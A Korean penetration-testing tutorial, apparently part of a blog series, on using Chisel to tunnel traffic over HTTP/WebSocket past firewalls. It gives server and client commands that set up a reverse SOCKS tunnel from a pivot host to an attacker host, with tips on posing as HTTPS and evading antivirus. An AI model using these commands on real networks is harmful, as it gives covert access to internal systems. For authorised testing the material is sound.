hhkb
모의해킹

피버팅과터널링_12_Chisel 터널링

작성자 : Heehyeon Yoo|2025-12-20
# 모의해킹# PNT# Chisel# HTTPTunneling# WebSocket

1. 개요

Chisel은 Golang으로 작성된 고성능 터널링 도구로, HTTP, 웹소켓(WebSocket) 프로토콜을 전송 계층으로 사용하여 방화벽을 우회하는 데 특화되어 있다.

기존 SSH 터널링과 유사한 기능을 제공하지만, SSH 트래픽(Port 22)이 차단되어 있거나 딥 패킷 분석(DPI)으로 인해 SSH 프로토콜 헤더가 탐지되는 환경에서 유용하다. Chisel은 모든 데이터를 SSH로 암호화한 뒤, 이를 HTTP/WebSocket 프레임으로 캡슐화하여 전송하므로, 외부에서 볼 때는 일반적인 웹 트래픽처럼 보인다.

2. 기술적 특징 및 원리

2.1 터널링 메커니즘

  1. 캡슐화 (Encapsulation): TCP/UDP 데이터를 SSH 프로토콜로 암호화한다.
  2. 전송 (Transport): 암호화된 데이터를 HTTP 헤더와 웹소켓 프레임에 실어 전송한다.
  3. 핸드쉐이크:
    • 클라이언트가 서버에 HTTP Upgrade 요청을 보낸다 (Connection: Upgrade, Upgrade: websocket).
    • 서버가 101 Switching Protocols 응답을 보내면 웹소켓 터널이 수립된다.
    • 이후 해당 터널 내부에서 SSH 핸드쉐이크가 이루어지며 데이터가 교환된다.

2.2 주요 기능

  • Reverse SOCKS: 피벗 호스트(Victim)에서 공격자(Attacker)로 역방향 연결을 맺은 뒤, 공격자 측에 SOCKS 프록시 포트를 생성해준다. (Reverse Dynamic Port Forwarding과 동일)
  • Multiplexing: 단일 HTTP 연결(웹소켓)을 통해 다중 터널링 세션을 처리한다.

3. 사용법 및 시나리오

3.1 Chisel 서버 (공격자)

공격자는 공인 IP(또는 피벗 호스트가 접근 가능한 IP)에서 서버 모드로 대기한다.

# -p: 리스닝 포트
# --reverse: 클라이언트로부터의 리버스 포트 포워딩 허용
./chisel server -p 8000 --reverse

3.2 Chisel 클라이언트 (피벗 호스트)

피벗 호스트는 공격자 서버에 접속하며 리버스 터널을 설정한다.

# 구문: ./chisel client [ServerIP]:[Port] R:[RemotePort]:socks
# 예시: 공격자(10.8.0.2:8000)에 접속하여, 공격자의 1080 포트에 SOCKS 프록시 생성
./chisel client 10.8.0.2:8000 R:1080:socks

3.3 통신 흐름

  1. Client(Pivot) -> Server(Attacker): HTTP/WebSocket 연결 수립 (TCP 8000).
  2. Server: 연결 수립 후 로컬(127.0.0.1)의 1080 포트를 SOCKS5 리스너로 바인딩.
  3. Attacker: ProxyChains 등을 이용해 127.0.0.1:1080으로 트래픽 전송.
  4. Traffic: 트래픽은 웹소켓 터널을 타고 Attacker -> Pivot -> Internal Network로 전달된다.

4. OpsSec 고려사항

  • 웹소켓 트래픽 위장: 일반적인 HTTPS(443) 포트를 사용하여 Chisel 서버를 구동하면, 방화벽이나 보안 장비가 이를 일반적인 암호화 웹 트래픽으로 오인할 가능성이 높다.
  • 핑거프린팅: Chisel의 초기 핸드쉐이크 패킷에는 특유의 헤더(Go-http-client 등)나 배너가 포함될 수 있어, 정교한 NIDS 규칙에는 탐지될 수 있다.
  • 바이너리 드롭: 타겟 시스템에 바이너리 실행 파일(chisel.exe 등)을 업로드해야 하므로, 안티바이러스 탐지 우회(AV Evasion)가 선행되어야 한다.